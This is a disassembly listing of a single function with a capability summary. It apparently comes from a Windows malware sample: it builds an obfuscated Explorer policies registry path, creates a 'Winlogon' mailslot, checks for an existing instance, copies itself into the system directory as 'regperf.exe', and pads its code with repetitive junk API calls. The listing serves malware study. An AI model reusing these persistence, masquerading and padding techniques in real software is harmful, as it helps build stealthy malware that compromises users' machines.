Function at 0x1000447a
Capabilities:
Create mailslot
Get common file path
Get file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x438
push ebx
push str.ntEx
push 0x10009500
push 0x100094fc
push 0x100094f8
push 0x100094f4
push 0x100091d0
lea eax, [ebp - 0x1b8]
push str._s_s_sur_s_sve_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x1b8]
push eax
call fcn.100067d2
xor ebx, ebx
add esp, 0x24
cmp eax, ebx
mov dword [ebp + 0x74], eax
je 0x100047f7
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push edi
push ebx
call esi
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
je 0x100044ea
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10004517
push dword [ebp + 0x74]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100047f5
call fcn.1000539a
push ebx
call esi
test eax, eax
je 0x10004526
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push str.ld.tmp
call fcn.10006c93
mov dword [esp], 0x104
lea eax, [ebp - 0x3c0]
push eax
push dword [0x1000a3b0]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x3c0]
push 0x1000a3b4
push eax
call fcn.10007384
test al, al
pop ecx
pop ecx
je 0x100047f5
push ebx
call esi
test eax, eax
je 0x10004581
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call esi
test eax, eax
je 0x1000459d
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push 0x100094d4
push 0x100094d0
push str.orer_
push str.expl
push str.entVersionpolicies_
push str.dows
push str.SOFTWAREMicros
push str._softWin_sCurr_s_s_s_s_s
push 0x1000a3e0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
push ebx
call esi
test eax, eax
je 0x100045ef
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp + 0x68]
push eax
mov dword [0x1000a35c], 0x1000a3e0
call fcn.10006738
pop ecx
pop ecx
push ebx
call esi
test eax, eax
je 0x10004624
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
lea eax, [ebp + 0x68]
push eax
push 0xffffffffffffffff
push ebx
push str..mailslotWinlogonMailslot
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
push 0xc
mov dword [0x1000a3d0], eax
call fcn.10005260
cmp eax, ebx
pop ecx
je 0x1000466e
push 1
push 0x1000a358
mov ecx, eax
call fcn.1000715a
mov dword [0x1000a3d4], eax
jmp 0x10004674
mov dword [0x1000a3d4], ebx
push ebx
call esi
test eax, eax
je 0x1000467e
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push 0x18
call fcn.10005260
cmp eax, ebx
pop ecx
je 0x100046aa
mov ecx, eax
call fcn.100051e8
mov dword [0x1000a3d8], eax
jmp 0x100046b0
mov dword [0x1000a3d8], ebx
push 0x104
lea eax, [ebp - 0xb0]
push eax
mov dword [ebp - 0xb4], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ebx
call esi
test eax, eax
je 0x100046d6
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
lea eax, [ebp - 0x2bc]
push str.regperf.exe
push eax
call fcn.100081d0
lea eax, [ebp - 0xb0]
push eax
call fcn.10008330
mov byte [ebp + eax - 0xb0], 0x5c
mov byte [ebp + eax - 0xaf], bl
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0xb0]
push eax
call fcn.100081e0
mov ecx, dword [0x1000a3d8]
add esp, 0x14
lea eax, [ebp - 0xb4]
push eax
call fcn.10004864
push ebx
call esi
test eax, eax
je 0x10004746
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
call fcn.100054fc
push eax
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x1000a3d8]
lea eax, [ebp - 0xb4]
push eax
call fcn.10004864
mov eax, dword [ebp + 0x74]
push ebx
push 0x10004cfe
mov dword [0x1000a3c8], eax
call fcn.10006929
pop ecx
pop ecx
push ebx
mov dword [0x1000a3cc], eax
call esi
test eax, eax
je 0x100047a1
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push dword [ebp + 0x74]
push 0x10003fbd
call fcn.10006929
pop ecx
pop ecx
mov dword [0x1000a3c4], eax
call fcn.10003381
push ebx
call esi
test eax, eax
je 0x100047d6
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
push 0x100041a4
call fcn.10006929
pop ecx
pop ecx
pop edi
pop esi
pop ebx
add ebp, 0x78
leave
ret